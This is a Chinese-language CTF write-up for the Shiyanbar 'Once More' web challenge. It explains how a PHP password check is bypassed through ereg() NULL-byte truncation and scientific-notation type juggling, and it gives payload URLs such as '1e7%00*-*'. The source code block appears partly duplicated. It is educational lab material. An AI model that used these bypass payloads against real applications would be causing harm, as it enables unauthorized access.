ctf-实验吧-web-Once More-wp

  这个题是我第二遍做,第一遍是第一个账号做的,当时还是小白,真的什么也不会,当然现在水平还是很低。。。

  第二遍又重创了个实验吧的账号,这次打算不去上网搜 wp,自己做做看,开是刷题。。。

  ereg()函数漏洞,科学记数法,

~~~打开后,点击view the source code,直接可以看到源代码,毋庸置疑,代码审计

<?php
if (isset ($_GET['password'])) {
	if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
	{
		echo '<p>You password must be alphanumeric</p>';
	}
	else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
	{
		if (strpos ($_GET['password'], '*-*') !== FALSE)
		{
			die('Flag: ' . $flag);
		}
		else
		{
			echo('<p>*-* have not been found</p>');
		}
	}
	else
	{
		echo '<p>Invalid password</p>';
	}
}
?>	if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
	{
		echo '<p>You password must be alphanumeric</p>';
	}
	else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
	{
		if (strpos ($_GET['password'], '*-*') !== FALSE)
		{
			die('Flag: ' . $flag);
		}
		else
		{
			echo('<p>*-* have not been found</p>');
		}
	}
	else
	{
		echo '<p>Invalid password</p>';
	}
}
?>

要满足四个条件

1.You password must be alphanumeric,2.strlen($_GET['password']) < 8 ,3.$_GET['password'] > 9999999,4.(strpos ($_GET['password'], '*-*') !== FALSE)

strlen()函数为返回password的长度,用get方式传递password,strpos()函数:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。  4.!== FALSE   即含有*-*

条件2和3,用普通的方法1000000似乎无法同时满足两者,但是10000000=1e7,可以绕过

条件1是ereg函数,这个函数有个漏洞,ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配,ereg读到%00的时候,就截止了,检测只能有a-zA-Z0-9,不能有*-等等特殊,可以绕过对*-的检测,不能检测出含有*-

似乎payload已经可以构造出来了,即1e7%00*-*,或1e8%00*-*,或1e9%00*-*,

但是若是直接从网页上输入到password的窗口是行不通的,可能是有一次url转换,应该从此页面的url上直接输入payload,

http://ctf5.shiyanbar.com/web/more.php?password=1e7%00*-*

http://ctf5.shiyanbar.com/web/more.php?password=1e8%00*-*

http://ctf5.shiyanbar.com/web/more.php?password=1e9%00*-*

即可跳转到有flag的页面

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值